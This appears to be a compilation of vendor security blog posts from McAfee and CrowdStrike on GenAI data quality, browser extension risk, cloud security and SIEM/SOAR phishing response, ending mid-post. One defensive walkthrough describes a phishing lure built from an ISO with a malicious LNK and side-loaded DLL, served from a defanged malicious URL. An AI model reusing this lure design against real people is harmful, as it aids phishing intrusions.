It’s been almost two years since OpenAI launched ChatGPT, driving increased mainstream awareness of and access to Generative AI tools. In that time, new tools and solutions seem to be launching daily. There is also a growing trend of building bigger models that consume larger quantities of training data, often with mixed results ranging from hallucinations or categorically incorrect facts to the regurgitation of opinions as universal truth, proving the old adage that sometimes “less is more”. 

Quality over Quantity 

So, if using more data doesn’t translate into better results… what does? It comes down to another tried and true saying – “quality over quantity.” 

At McAfee, we maniacally focus on data quality. A well-developed Generative AI model is nothing without high-quality, curated datasets to fuel them. When the quantity of data is prioritized over quality, the results are often disappointing. 

How do we produce quality data? Using millions of worldwide sensors, our AI engineers and AI data specialists focus on clues that point to threats. But that’s just the first step. Our teams then curate the data to improve the quality and maximize data diversity, reducing sources of bias, cross-pollinating data sources, and enriching and standardizing samples, just to name a few of the dozens of operations conducted to ensure we’re building datasets of the highest and purest quality. 

All of this translates into the most comprehensive and robust AI-based protection for our customers: more than 1.5M threat detections per week across malware, scams, phishing, smishing, and more than half a billion web categorizations to help ensure a safe digital journey while browsing the Internet. 

Human/AI Partnership 

As the capabilities of AI tools increase, so does the conversation around how technology removes humans from the equation. The reality is that humans are still an integral part of the process and key to any successful Generative AI strategy. AI is only as good as the data it’s trained on, and in McAfee’s case, the guidance provided by cybersecurity experts. Thus, Cybersecurity AI specialists curating data is crucial to the development of all of our AI systems as it mitigates potential sources of error, resulting in accurate and trusted AI solutions, and allowing us to scale and share human expertise to better protect millions of customers worldwide. 

Tackling cyber threats is a tall order that comes with intrinsic challenges. For example, modern scams are more subtle and less obvious even to experts, and quite often it is just the implicit intent that sets it apart from genuine (non-scam) content. Being context-aware can help navigate this landscape to more effectively detect and stop threats before they reach customers. What is more, we believe transparency and education are paramount for building a safer digital world. This is why we also invest in building explainable AI that helps users understand why a threat has been flagged and provides clues they can use to identify future threats.  

Only the Beginning 

The GenAI journey has only just begun. There is still a lot of work to do and a lot to look forward to as this technology continues to evolve. While it’s easy, as developers, to get caught up in the excitement, it’s also important to identify and focus on an ultimate goal and the responsible and safe steps to get there. At McAfee, we pledge to protect our customers, and we believe in the synergistic interaction between AI and Human Threat Intelligence. Together, we can deliver a trusted, world-class AI protection experience. 

The post Quality Over Quantity: the Counter-Intuitive GenAI Key appeared first on McAfee Blog.

As workforce productivity increasingly depends on web-based applications, browsers have become essential gateways to the “connectivity economy.” According to recent data, 93% of desktop internet traffic in 2023 traversed through four popular web browsers.

With their diverse functionalities and use cases, browsers are the most used desktop applications. To further expand their utility, it’s common to install and use browser extensions: small software modules that enhance and personalize the functionality of web browsers. Users install them to tailor their browsing experience to better meet their needs and preferences, and they range from ad blockers and security tools to productivity enhancers and shopping assistants. Like regular applications, however, browser extensions can become sources of malware and be exploited by attackers, which means they carry significant risks.

In this blog, we’ll explore why browser extensions are particularly attractive to threat actors and how new capabilities in CrowdStrike Falcon® Exposure Management can help security teams detect and assess these risks to stay ahead of attackers.

What Makes Browser Extensions Problematic

When an end user installs a browser extension, the permissions granted open the door to a world of possibilities — and vulnerabilities. Depending on what’s allowed, these extensions can access a veritable treasure trove of information: everything from web traffic and saved credentials to session cookies, clipboard data and beyond. Though legitimate extensions often require such permissions to operate effectively, in the wrong hands, these permissions can become tools for exploitation, giving bad actors the keys to critical data and private information.

The rich data obtained through such means can subsequently be weaponized and monetized by criminals. For example, using privileged data, they can craft better phishing emails or use credentials harvested to carry out identity-based attacks.

CrowdStrike’s analysis of browser extensions in our production environments indicates that well over half of them require what may be considered excessive permissions. This means that these permissions carry strong risks, as they may allow threat actors to see all web traffic or manipulate browser tabs.

Further, because extensions are embedded into browser applications and do not create process start events, they can be harder to detect than ordinary desktop applications, allowing threat actors to obfuscate and persist their malicious activities.

How Adversaries Deploy Malicious Extensions

Extensions can be relatively easy to develop, but they don’t typically come with a web browser out of the box. Therefore, the act of deploying malicious extensions onto target victim browsers is an important part of the tradecraft. Adversaries achieve this by employing various tactics.

One common method is to list deceptive extensions on browser stores. Deception can be achieved in a number ways, including by mimicking legitimate well-known vendor product names or by publishing extensions with popular productivity purposes.

Another popular tactic is ownership takeover, where threat actors purchase or otherwise take over previously legitimate browser extensions that already have a user base and push out malicious updates to compromise target systems.

The most dangerous method is perhaps “sideloading,” which involves installing browser extensions from sources outside the official web store by directly adding the extension files. This method bypasses the usual safeguards that come with the browser stores. Attackers exploit this method by bundling malicious extensions with seemingly legitimate software applications. When users install these applications, the hidden extensions are also installed, granting attackers access to the users’ browser and data.

Even with the web store method, browser extensions can expand their permissions upon installation and download additional malicious payloads. This is a popular obfuscation tactic where adversaries publish extensions to web stores with minimal initial permission requirements but expand their footprint with harmful intentions. A case in point was the notorious PDF Toolbox malicious browser extension, which downloaded additional payloads upon installation to enhance its capabilities and persistence.

Figure 1. Cyber kill chain involving browser extensions.

Falcon Exposure Management for Browser Extension Visibility

Fortunately, Falcon Exposure Management, a module of the AI-native CrowdStrike Falcon® cybersecurity platform, leverages its single, lightweight agent to provide comprehensive asset visibility and instant exposure assessment. This enables security teams to further close the security gap by detecting yet another source of exposure in the form of browser extension risks.

Extension Inventory

Detecting and cataloging the very existence of extensions is the first step toward understanding their risks. With Falcon Exposure Management, security teams can compile a comprehensive inventory of all extensions installed on Chrome and Edge browsers in their enterprise environment, whether it’s Windows or macOS. This capability doesn’t just list extensions, it offers insightful analytics, revealing extensions with the most and least installations, the most and least usage, and much more.

Extension Risk Assessment

From here, security teams can assess extension risks in a number of ways. For starters, installation methods are shown related to each extension, uncovering sideloaded applications and providing risk context.

Falcon Exposure Management also shows the vendor name captured from the extensions, which can range from legitimate well-known vendors all the way to those with missing artifacts in the name field. Web store listings for the extension, if found, are also provided.

Perhaps the most important measure of risk is the permission level associated with each extension. Because the types of permissions can be so varied, CrowdStrike computes a heuristics-based “permission severity” rating to facilitate the ease of assessment. For example, if the permission allows the extension to “intercept web traffic,” it’s assigned a permission severity of critical. Alternatively, if the permission allows the extension to control the browser tab, it’s assigned a level of high. Falcon Exposure Management provides detailed information on permissions along with the severity rating for ease of investigation.

For a security analyst evaluating extension risk, a sideloaded extension with a “critical” permission severity rating, no corresponding store listing and a missing vendor name can signal a suspicious extension requiring further evaluation or more aggressive intervention.

Taking Actions

Beyond these insights, customers benefit from the platform’s broader capabilities to take actions on these risks. For example, security teams have the ability to configure policies to automatically group browser extensions with critical permission severities into a particular host group. They can also trigger automated actions through the native CrowdStrike Falcon® Fusion SOAR workflows, such as creating tickets to alert IT system owners to investigate or remediate suspicious extensions. Security teams can also set up automated workflows to trigger notifications via email, Slack, etc., to keep teams in the loop.

With Falcon Exposure Management, these assessments take place seamlessly and instantaneously with the Falcon agent. This allows security teams to monitor their overall attack surface in its various forms, leaving adversaries nowhere to hide.

Figure 2. Falcon Exposure Management browser extensions dashboard and details.

Get Started Today

If you’re an existing Falcon Exposure Management or CrowdStrike Falcon® Discover customer, give the browser inventory capability a try by going to Exposure Management > Applications > Dashboards to view the new browser extensions overview dashboard and see extension-specific data. If you’re not using these modules already, talk to your CrowdStrike representative to request a demo.

Additional Resources

• Visit the Falcon Exposure Management website to learn more.
• Schedule a Falcon Exposure Management demo.
• Register for a hands-on workshop: Empowering Proactive Protection with CrowdStrike Falcon Exposure Management.
• Watch the Falcon Exposure Management “Internet Exposure Identification” demo.
• See Falcon Exposure Management in action.
• Read the Falcon Exposure Management data sheet.

We’re thrilled to share that the CrowdStrike Falcon® sensor now fully supports Google Cloud Run, bringing advanced security capabilities to your serverless applications. While we announced this at Google Cloud Next in April 2024, this blog goes deeper into the integration and shares how customers leveraging Google Cloud Run and CrowdStrike can deploy Falcon quickly to enhance their serverless security requirements.

To recap, Google Cloud Run offers a powerful, fully managed platform for deploying containerized applications that scale automatically with demand. However, the dynamic and ephemeral nature of serverless environments poses unique security challenges. With the Falcon sensor now integrated with Google Cloud Run, organizations can leverage CrowdStrike’s industry-leading protection to secure their serverless workloads.

Figure 1. Google Cloud Run shown via containers in the Falcon console.

Enhanced Security for Serverless Applications

By supporting Google Cloud Run, the Falcon sensor ensures that your serverless applications benefit from the same robust security measures that protect traditional and cloud-based workloads. The AI-native CrowdStrike Falcon® cybersecurity platform provides real-time threat detection, automated incident response and comprehensive visibility into your serverless environment. This integration helps you identify and mitigate threats before they can impact your applications, ensuring continuous protection across your entire cloud infrastructure.

Figure 2. The host management dashboard in CrowdStrike Falcon® Cloud Security shares information for Google Cloud Run services.

Seamless Integration and Continuous Protection

Deploying the Falcon sensor on Google Cloud Run is straightforward and seamless, allowing you to integrate security into your DevOps processes without compromising performance or agility. The sensor automatically scales with your workloads, providing consistent protection as your application demand fluctuates. This ensures that your security posture remains strong, regardless of the size or complexity of your serverless deployments.

Figure 3. Container sensor runtime security for Google Cloud Run services in the Falcon console.

Empowering DevSecOps with Real-Time Insights

With this new support, DevSecOps teams can now gain real-time insights into the security status of their serverless applications running on Google Cloud Run. The Falcon platform’s advanced analytics and threat intelligence capabilities empower teams to make informed decisions, swiftly respond to incidents and continuously improve their security practices. This proactive approach helps organizations maintain a secure and resilient application environment, fostering innovation and agility.

We’re excited about this expansion and look forward to helping our customers enhance their security posture in serverless environments. For more information on how to deploy and configure the Falcon sensor on Google Cloud Run, Falcon platform customers can read this official documentation.

Figure 4. The Kubernetes and containers inventory dashboard in Falcon Cloud Security is where you can find Google Cloud Run service monitoring and detections.

Deployment Overview

Google Cloud Run is a fully managed serverless compute platform built from Knative that enables customers to run containers without the need to manage the underlying infrastructure. You can run your containers either fully managed with Google Cloud Run or in your Kubernetes Engine cluster with Google Cloud Run on Anthos. In Google Cloud Run, customers can deploy applications as jobs or services. The Falcon container sensor for Linux supports both job and service deployments.

The Falcon container sensor for Linux can extend runtime security to container workloads in Google Cloud Run because it runs in the user space with no code running in the kernel or the worker node OS.

Figure 5. How the Falcon sensor deploys to secure Google Cloud Run-supported containers.

Deploying the Falcon container sensor for Linux to Google Cloud Run requires modification of the application container image. The Falcon container sensor image contains a Falcon utility that supports patching the application container image with Falcon container sensor for Linux and its related dependencies.

The Falcon container consists of two components:

1. The Falcon container sensor for Linux: At runtime, the Falcon container sensor for Linux is launched inside the application container of the service or job. It uses unique technology to run in the application context.
2. Falcon utility: The Falcon utility runs offline and takes the application container image as an input to generate a new container image patched with the Falcon container sensor for Linux and its related dependencies. The Falcon utility also sets the Falcon entry point as the container entry point.

Here is an overview of the installation workflow:

1. Create an API client Key
2. Get your CrowdStrike CID with checksum
3. Retrieve the sensor image and push to Google Registry
4. Run the Falcon utility to build a new image
5. Push the new image to the registry
6. Deploy the Falcon container sensor for Linux to Google Cloud Run
7. Verify the sensor deployment

Once verification is over, you’re ready to go. For customers leveraging Google Cloud Run and CrowdStrike, this process is designed to make it easy to follow and deploy.

Here’s a more detailed step-by-step guide for customers using Falcon Cloud Security.

Shaping the Future of Cloud Security

The powerful combination of AI-powered cloud services from Google Cloud and the unified protection and threat hunting capabilities of the Falcon platform provides the security that organizations need to stop breaches in multi-cloud and multi-vendor environments.

As cloud threats and technology continue to evolve, staying ahead of threats is paramount. Modern businesses need allies to protect their cloud-based resources, applications and data as their reliance on cloud technology continues to grow. This synergy between CrowdStrike and Google Cloud will shape the future of cloud technology and security, setting a new standard for protecting today’s cloud environments.

Additional Resources

• Learn how Falcon Cloud Security can protect your Google Cloud resources.
• See why Forrester named CrowdStrike a Leader in The Forrester Wave: Cloud Workload Security, Q1 2024.
• Get a free Cloud Security Health Check and experience Falcon Cloud Security in action for yourself.

Adversaries are increasingly attacking cloud environments, as evidenced by a 75% surge in cloud intrusions year-over-year in 2023. They are also getting faster: The fastest breakout time was clocked at just over 2 minutes, according to the CrowdStrike 2024 Global Threat Report.

Today’s adversaries are outpacing legacy security approaches. Disjointed point solutions can’t scale or provide visibility into a rapidly growing attack surface. As organizations adopt more cloud applications and services, they need a modern approach to detect, identify and block adversary activity in the cloud.

An effective cloud detection and response (CDR) solution provides incident management at every stage — from detection to remediation — quickly neutralizing threats with precision and efficiency:

1. 24/7 cloud services including managed detection and response and threat hunting to monitor, analyze and neutralize cloud threats, providing complete incident lifecycle management from detection to remediation.
2. Cloud adversary intelligence to understand adversary behavior and tactics, techniques and procedures (TTPs) to prioritize and triage incidents faster.
3. A unified cloud-native application protection platform (CNAPP) to detect and actively stop cloud breaches in real time.

Let’s explore the key components you should be looking for in your CDR.

24/7 Cloud Managed Detection, Response and Threat Hunting

The cloud security landscape is full of challenges that often exceed the capabilities of automated systems alone. The complex nature of modern threats, and the understanding required to address them, highlights a shortfall in many organizations: a lack of skilled professionals well-versed in cloud security practices.

Integrating cloud managed detection and response into a CDR solution fills this critical gap. Seasoned security professionals can interpret and act on information from automated tools. These experts analyze, validate and prioritize threats, driving continuous enhancement of security measures and technology implementation.

Figure 1. CrowdStrike Falcon® Complete dashboard — Executive Overview

Additionally, 24/7 cloud threat hunting services extend this proactive defense. Threat hunters work around the clock, ensuring constant vigilance over the entire cloud environment, including control plane activities and cloud runtime environments. Further, they need to monitor and prevent compromised users and credentials from being exploited in cloud attacks. And finally, cloud threat hunters must track lateral movement from cloud to endpoint, enabling rapid response and actionable insights for decisive remediation.

Adversary-based Threat Intelligence

As adversaries are becoming faster and more sophisticated, the importance of adversary-based threat intelligence helps security teams better understand their behavior and how to stop them. A CDR solution that uses adversary-based threat intelligence can significantly improve an organization’s detection and response capabilities.

Threat intelligence in the context of a CDR solution encompasses a wide array of information, ranging from indicators of attack (IOAs) to real-time data about emerging threats from adversaries around the world. Threat intelligence cannot be static — it is continuously updated based on new research and refined through machine learning algorithms and human analysis. A CDR solution using adversary-based intelligence can accelerate incident response by enabling security teams to more effectively anticipate, recognize and prioritize attacker behaviors.

Figure 2. CrowdStrike Counter Adversary Operations dashboard — Actors

Integrating adversary-based threat intelligence into a CDR solution can evolve its approach from a reactive defense to a confident and intelligence-driven defense, arming organizations with the knowledge and tools to combat sophisticated adversaries.

A Unified CNAPP

An organization can often find itself tangled up in the complexity of managing disparate tools to protect its cloud environments. This drives operational complexity and creates silos that impede the flow of crucial information, making it tough to build a full view of the organization’s cloud security posture. A unified cloud-native application protection platform (CNAPP) consolidates disparate tools into a single solution, bringing detection and response into the CDR framework.

A CDR should offer a CNAPP through a single agent and single platform. This removes the limitations of individual tools by offering end-to-end visibility across the cloud environment, enabling security teams to detect sophisticated attacks that might otherwise go unnoticed in a fragmented toolset. A unified CNAPP streamlines the workflow for incident response, allowing for faster mobilization against threats and more effective mitigation strategies.

Figure 3. CrowdStrike Falcon® Cloud Security dashboard — Public Cloud Inventory

A CNAPP enhances the efficiency of security operations while improving the effectiveness of each function. This holistic approach ensures every aspect of cloud security is addressed, from initial threat detection to final resolution, making it a critical factor to consider when selecting a CDR solution.

CrowdStrike’s Cloud Detection and Response Solution

A CDR solution is an essential piece in the fight against the latest adversary threats targeting the cloud. By providing detailed visibility, real-time monitoring, rapid response capabilities and integrated human expertise, CDR empowers organizations to proactively manage their security defenses in the complex and dynamic cloud environment.

CrowdStrike delivers the world’s only unified approach to cloud detection and response that brings together world-class adversary intelligence and elite 24/7 services with the industry’s most complete CNAPP.

With CrowdStrike’s CDR solution, organizations can:

• Reduce cloud risks before they escalate
• Detect threats with complete context
• Stop breaches and rapidly investigate
• Swiftly respond and recover

You can try Falcon Cloud Security for free through a Cloud Security Health Check. It provides instant, complete visibility into your entire cloud estate and deploys in minutes with zero impact to your business.

Additional Resources

• Read The Complete Guide to CNAPPs, presented by CrowdStrike.
• Learn more about how you can stop cloud breaches with CrowdStrike unified cloud security for multi-cloud and hybrid environments — all in one lightweight platform.
• Read about how CrowdStrike has been named a Leader in The Forrester Wave: Cloud Workload Security Q1, 2024.
• Take a free Cloud Security Health Check to visualize misconfigurations and other vulnerabilities in minutes.
• Learn how the powerful CrowdStrike Falcon platform provides comprehensive protection across your organization, workers and data, wherever they are located.

Phishing is the weapon of choice for many adversaries. And it’s easy to understand why: Users fall victim to attacks in under 60 seconds on average, novice cybercriminals can launch effective phishing campaigns thanks to off-the-shelf phishing kits and generative AI, and above all, it works — 71% of organizations reported at least one successful attack in 2023.

To defend against rampant phishing attacks, organizations require robust systems to detect, investigate and respond to phishing threats. This is where CrowdStrike Falcon® Next-Gen SIEM and CrowdStrike Falcon® Fusion SOAR can deliver tremendous value, allowing you to quickly stop threats from one unified platform.

This blog shares how Falcon Next-Gen SIEM helps stop phishing attacks and why we’re offering 10GB/day of free email data ingestion to jumpstart your next-gen SIEM journey.

Detect Phishing Attacks with Falcon Next-Gen SIEM

Falcon Next-Gen SIEM empowers you to detect phishing fast by consolidating your endpoint data and third-party data on the AI-native CrowdStrike Falcon® cybersecurity platform. With a robust ecosystem of data connectors and parsers, Falcon Next-Gen SIEM simplifies the ingestion of third-party data so you can quickly detect and stop attacks.

Figure 1. Falcon Next-Gen SIEM offers numerous out-of-the-box connectors and parsers.

Legacy SIEMs burden security teams with complex and unwieldy lists of correlation rules, often developed years or decades ago. These rules create a flood of false positives, forcing specialized detection engineers to waste time tuning and maintaining them. Overwhelmed, many organizations turn to managed security service providers (MSSPs) with mixed results.

Falcon Next-Gen SIEM cuts through the pitfalls of outdated correlation rules. It delivers laser-accurate detection for both Falcon telemetry — including endpoint, cloud and identity data — and third-party logs. Crafted by CrowdStrike experts with industry-leading adversary research, our out-of-the-box correlation rules align with MITRE ATT&CK®, helping you detect attack techniques across the cyber kill chain. Your team can easily customize rules with a unified language for search, parsing and dashboards.

Figure 2. Falcon Next-Gen SIEM correlation rules are flexible and use the same common language used across all third-party data.

Figure 3. Falcon Next-Gen SIEM provides a unified view of your detections.

Monitor Threats with Live Dashboards

Next, it’s helpful to discuss how live dashboards can help you identify top threats and analyze trends to improve your security posture.

Falcon Next-Gen SIEM’s dashboard capability allows you to create custom dashboards from queries, providing at-a-glance data visualization for quick decision-making. You can view aggregated data from various email sources based on common fields and use interactions to drill down into vendor-specific data and fields.

Figure 4. Aggregate and visualize your data with the intuitive dashboard builder in Falcon Next-Gen SIEM.

Figure 5. Leverage dashboard interactions to zoom in to different views of your data, including vendor-specific fields.

Investigate and Respond with Falcon Fusion SOAR

Workflow automation offers numerous benefits, including reduced mean time to respond (MTTR), enhanced team efficiency and cost savings.

Phishing is an ideal starting point for workflow automation due to the repetition in phishing investigations and the need for consistent responses and swift action. With Falcon Fusion SOAR, the no-code orchestration, automation and response capability built into the Falcon platform, you can quickly reap the benefits of automation, empowering your team to respond more effectively to phishing threats.

With more than 125 pre-built actions and the ability to execute actions directly on the endpoint with CrowdStrike Falcon® Insight XDR, Falcon Fusion SOAR lets you orchestrate incident response across your SOC. You can easily build workflows to automatically investigate the contents of suspicious emails or reset compromised credentials, allowing your team to save valuable time and focus on higher priorities. Workflows can run on-demand or trigger automatically based on a detection or a predefined schedule.

Figure 6. Falcon Fusion SOAR lets you quickly build workflows by choosing the trigger, defining the conditions and configuring actions.

Falcon Fusion SOAR provides out-of-the-box playbook templates to simplify workflow automation. Predefined templates can be easily customized to align to your organization’s security policies and technologies.

The Incident Workbench enhances incident visualization and team collaboration. It illustrates the relationships and connections between entities, providing a clear view of the attack’s progression. Clicking on the graph reveals detailed information on each entity, including sender details, malicious URLs, indicators of compromise and relevant threat actors.

Figure 7. The Incident Workbench enhances investigation with incident visualization and expedites response with on-demand workflow automation.

A prebuilt SOAR dashboard helps you monitor team performance, executed workflows, related detections and MTTR trends. By continuously measuring your phishing KPIs, you can make ongoing improvements to your detection and response capabilities, shifting from a reactive to a proactive security approach.

Figure 8. Continuously measure and monitor SOAR KPIs to improve your security posture with the new metrics dashboard in Falcon Fusion SOAR.

Get Started with 10GB of Free Email Data Ingestion

Phishing attacks remain a persistent threat to organizations. The Falcon platform seamlessly integrates data, AI, workflow automation and threat intelligence on a unified platform for full visibility and protection against cyberthreats, including phishing attacks.

Email data can be a rich source of information for uncovering malicious activity. Starting today, Falcon Insight XDR customers get 10GB per day of free email data ingestion to kickstart their SOC transformation and realize the power of combining Falcon platform data with third-party data to detect phishing schemes, accelerate investigations and meet compliance requirements.

Contact your sales representative or technical account manager to learn more about this offering.

Additional Resources

• Read this technical blog to start ingesting email data into Falcon Next-Gen SIEM.
• Learn about key benefits of next-gen SIEM in the Falcon Next-Gen SIEM data sheet.
• Sign up to attend our Next-Gen SIEM Showcase.
• Read the Complete Guide to Next-Gen SIEM to learn how to modernize your SOC.
• Want to learn more about Falcon Fusion SOAR? Read the data sheet or visit the product page.

Phishing is a formidable–and financially devastating–threat costing organizations $4.76 million USD per breach on average.  With a simple, deceptive email, adversaries can masquerade as trusted entities, tricking even savvy individuals into handing over their credentials and other sensitive information. Whether it’s a duplicitous link or a crafty call to action, phishing remains one of the most insidious cybersecurity threats, leveraging a vulnerability that can’t be patched: human nature.

CrowdStrike Falcon^® Next-Gen SIEM helps security teams detect and stop email-based attacks. By analyzing email security logs, SOC analysts can identify unusual attachments, malicious links, or email addresses to uncover attacks and speed up investigations. Email data allows analysts to trace the root cause of an attack, identify compromised accounts, and understand attackers’ methods.

This blog post demonstrates how simple it is to ingest data with Falcon Next-Gen SIEM. Then, it explains how to detect and counter phishing threats with Falcon Next-Gen SIEM, Falcon Fusion SOAR, and email data from Abnormal Security.

Maximize Your 10GB/Day Plan by Onboarding Email Data

Falcon Next-Gen SIEM transforms security operations to stop breaches by bringing together data, AI, workflow automation, and threat intelligence on one platform with one console and one lightweight endpoint agent.

To accelerate SOC transformation, Falcon Insight customers can ingest up to 10 gigabytes of third-party data per day at no additional cost, and experience the power and performance of Falcon Next-Gen SIEM. The 10GB/day offering is available today to the first wave of Falcon Insight customers and it will be released in waves to remaining customers over the next several weeks. 

Make the most of your 10GB/day plan by ingesting high-value data, such as email security logs, into the Falcon platform to stop email-based threats. You can onboard email data using out-of-the-box integrations with email security solutions from Abnormal Security, Mimecast, and Proofpoint. An expanding array of data connectors support a broad set of log sources, while an HTTP event collector (HEC) lets you ingest data using prebuilt or custom parsers.

With Abnormal Security, data ingestion can be set up in just minutes. Start by generating an API token in the Abnormal administrator console; see the Falcon Next-Gen SIEM documentation for step-by-step instructions.

Next, create a new connector in the Falcon console by navigating to Next-Gen SIEM > Log management > Data onboarding and select the Abnormal Security Data Connector.

Enter the API key you generated, and Falcon Next-Gen SIEM will automatically connect to Abnormal and start ingesting data. Check out Falcon Next-Gen SIEM technical documentation for more detailed information on how to onboard data.

Defeating a Targeted Email Attack with Falcon Next-Gen SIEM 

To illustrate how Falcon Next-Gen SIEM helps you combat email-based threats, let’s consider a scenario where an advanced adversary targets your organization–in this example, a high-interest think tank. The adversary’s primary goal is to infiltrate your organization and gather insights. The advanced persistent threat (APT) poses as a US-based reporter inquiring about a fabricated threat assessment, targeting an employee at your think tank. Let’s explore the details of the attack:

First, the threat actor builds out a payload containing the following files within it.

• Malicious LNK (shortcut) file that will execute the included malware if run
• Malware packaged as a side-loaded DLL

The malware is bundled into the following file and hosted on a remote web server.

• Annual_Threat_Assessment_of_the_US_Intelligence_Community.pdf.iso

Then, the threat actor crafts the following email to target a member of your think tank.

This email attempts to entice the victim into opening the included link, as the purported included document appears to be malformed. The embedded URL points to the following link.

• http://goijosijdfouhofejwoijfoijoixyz[.]xyz/files/64019238/Annual_Threat_Assessment_of_the_US_Intelligence_Community.pdf.iso

Upon receiving this email, the victim clicks the malicious link, launching a new Chrome browser.

Detecting Malicious Activity

Behind the scenes, multiple third-party security products are monitoring the attack and generating detections. Your organization’s Abnormal Security platform examines the email message and flags it as suspicious.

Using AI machine learning models, it identifies unique or otherwise notable strings within the email and flags them for your security analyst.

Once the email data is forwarded from Abnormal Security to CrowdStrike Falcon Next-Gen SIEM, you can view it in Advanced Event Search. This will be retained in the platform for 7 days with the 10GB/day plan, and can be stored for months or years with an optional Falcon Next-Gen SIEM subscription. Your security analysts can query the data using the intuitive and flexible CrowdStrike Query Language.

In addition to collecting email data, your team is ingesting Falcon telemetry from your endpoints. This telemetry provides visibility into DNS activity.

By combining these two datasets, you can identify instances where a domain from a flagged email has been accessed. Enrich your findings with CrowdStrike threat intelligence and known indicators of compromise. To detect future threats and generate high-fidelity alerts, create a new correlation rule indicating malicious activity.

This correlation rule generates an alert when the victim attempts to access the domain included in the malicious email.

Data Visualization

You can visualize email data with custom and pre-built dashboards in Falcon Next-Gen SIEM. A versatile dashboard builder lets you select from a broad spectrum of visualization chart options and use advanced queries to create tailored dashboards.

Threat Investigation

The Incident Workbench visualizes the attack in a graph view, providing context about the entities involved. It lists key details such as users, senders, recipients, and host information.

Your team can quickly understand relevant email information by viewing incident details. 

By pivoting on the host communicating with a remote server, you can identify the last logged-in user responsible for this network activity.

Incident Response 

With Falcon Fusion SOAR, you can easily isolate the compromised host and prevent further malicious activity using workflow automation. 

You can build a workflow by simply selecting the trigger, defining the conditions and configuring the actions. Falcon Fusion SOAR workflows can be triggered automatically based on a detection, on-demand when immediate response is necessary, or scheduled for routine tasks and assessments.

In this scenario, the workflow is triggered on-demand. If the “Host ID” condition is met, the workflow gathers the device details and sends an email to a senior engineer for review. If the senior engineer approves, the device will be contained. If not, the device remains uncontained, and an email documenting the actions is sent.

Additionally, Falcon Fusion SOAR offers numerous out-of-the-box phishing playbooks that can be customized to fit your organization’s requirements and technology stack.

In this scenario, multiple employees at your organization were targeted, and one reported the email as a “phishing email.” Your security team leveraged a new out-of-the-box phishing playbook template included in Falcon Fusion SOAR. Note that this playbook is not available with the 10GB/day plan; it requires the purchase of a Falcon Next-Gen SIEM subscription.

The phishing playbook template triggers upon receiving a phishing email notice from Microsoft 365. If the condition is met, the workflow writes to the log repository and initiates the investigation process. It enriches the data by searching all email components, submitting the URL for sandbox detonation, and conducting file hash lookups using VirusTotal.

If VirusTotal confirms malicious indicators, the workflow will call on the threat graph to kill the process. If the sender domain is suspicious, then the workflow has the capability to update third-party tools like Proofpoint. For risky URLs and IP addresses, the workflow will create custom IOCs to start a retroactive search.

Falcon Next-Gen SIEM offers unmatched efficiency in stopping phishing attacks by accurately detecting threats, visualizing high-risk activity in live dashboards, automating repetitive tasks, and streamlining investigations. With Falcon Next-Gen SIEM, threat detection and response has never been easier.

If you’re a Falcon Insight customer, you can extend the visibility and protection of the Falcon platform to third-party data with the 10GB/day plan. Discover how you can achieve up to 150x faster search performance and up to 80% lower cost than legacy SIEM solutions with Falcon Next-Gen SIEM. Speak to your CrowdStrike account representative to learn how you can modernize your SOC with the next generation of SIEM technology.

Additional resources:

• Check out technical documentation: See the Falcon Next-Gen SIEM User Guide, including information about third-party data ingestion.
• Start onboarding data today: Take the Next-Gen SIEM fundamentals course (CrowdStrike University subscription required) and watch these Next-Gen SIEM intro videos.
• Watch demo videos: Learn how to detect, investigate and stop threats with Falcon Next-Gen SIEM by viewing fast-paced demos.
• Reached your 10GB daily limit? Contact us to upgrade your subscription and experience Falcon Next-Gen SIEM without constraints.

According to the CrowdStrike 2024 Global Threat Report, the fastest recorded eCrime breakout time was just 2 minutes and 7 seconds in 2023. This underscores the need to equip security analysts with modern tools that level the playing field and enable them to work more efficiently and effectively.

Today’s analysts require a new generation of security information and event management (SIEM) technology capable of scaling to manage petabytes of data, working seamlessly with security orchestration, automation and response (SOAR) capabilities to stop breaches.

CrowdStrike Falcon® Fusion SOAR, the no-code orchestration, automation and response capability built into the CrowdStrike Falcon® platform, is now available to enable workflow automation for third-party data with CrowdStrike Falcon® Next-Gen SIEM. Legacy SIEMs have failed the SOC, but Falcon Next-Gen SIEM introduces a new approach to eliminate slow queries, complex architectures and costly data ingestion. With its new features and enhancements, Falcon Fusion SOAR is well-positioned to help your security team realize the benefits that automation can deliver.

Elevate SOC Efficiency and Accuracy with Workflow Automation

Security automation is your secret weapon to stopping attacks and improving your bottom line. It reduces the time needed to respond to threats, cuts the costs of integrating and operating tools, and improves your security analysts’ job satisfaction by eliminating repetitive tasks, allowing the team to focus on higher-level responsibilities that cannot be automated.

Automation can significantly enhance the efficiency of the SOC. While SIEMs excel at detecting threats by analyzing vast amounts of data, they still force security analysts to manually triage detections and filter out false positives. Many investigation tasks are repetitive and time-consuming, keeping teams from stopping real threats quickly. This is where SOAR steps in to boost efficiency, driving detections to resolution and establishing a continuous information loop.

Enhance Security Operations from Detection to Action

Falcon Fusion SOAR slashes response times during an investigation — when every second counts. It not only improves the technical effectiveness of security operations by working as a cohesive unit but also optimizes operational efficiency by breaking down information silos and eliminating data transfer delays. It ensures that data flows seamlessly and bi-directionally between Falcon Next-Gen SIEM and Falcon Fusion SOAR to act on the most current information available, providing you with a real-time view of your security posture and a feedback loop for continuous improvement.

Falcon Fusion SOAR can query both Falcon platform data as well as third-party data in Falcon Next-Gen SIEM to further threat investigations and store data, such as query results, ensuring that security teams have the most up-to-date view of their data. It also accelerates responses, as Falcon Fusion SOAR can execute workflows that are automatically from a Falcon Next-Gen SIEM detection, scheduled for continuous protection or launched on-demand in response to critical threats.

Additionally, Falcon Fusion SOAR has the ability to drive workflow automation based on Falcon platform alerts and data, such as endpoint, cloud and identity, as well as third-party data collected by Falcon Next-Gen SIEM. This consolidated solution provides you with unrivaled visibility into your data and significantly reduces the time spent on detection, investigation and response.

Figure 1. Optimize security operations efficiency and effectiveness with Falcon Next-Gen SIEM and Falcon Fusion SOAR.

Empowering Security Teams with No-Code Workflow Automation

Security analysts are often overwhelmed by the high number of alerts they must triage and respond to. While workflow automation is a powerful tool that can simplify security processes, cumbersome playbook development can hinder progress. Implementing orchestration and automation requires clearly defined processes, a deep understanding of the technologies being orchestrated and knowledge on how to translate these into automated processes. And often, complex decisions require human involvement. Given the advanced skills required to code playbooks and the scarcity of security talent, security teams need tools that prioritize a modern analyst experience and offer a significant advantage against adversaries.

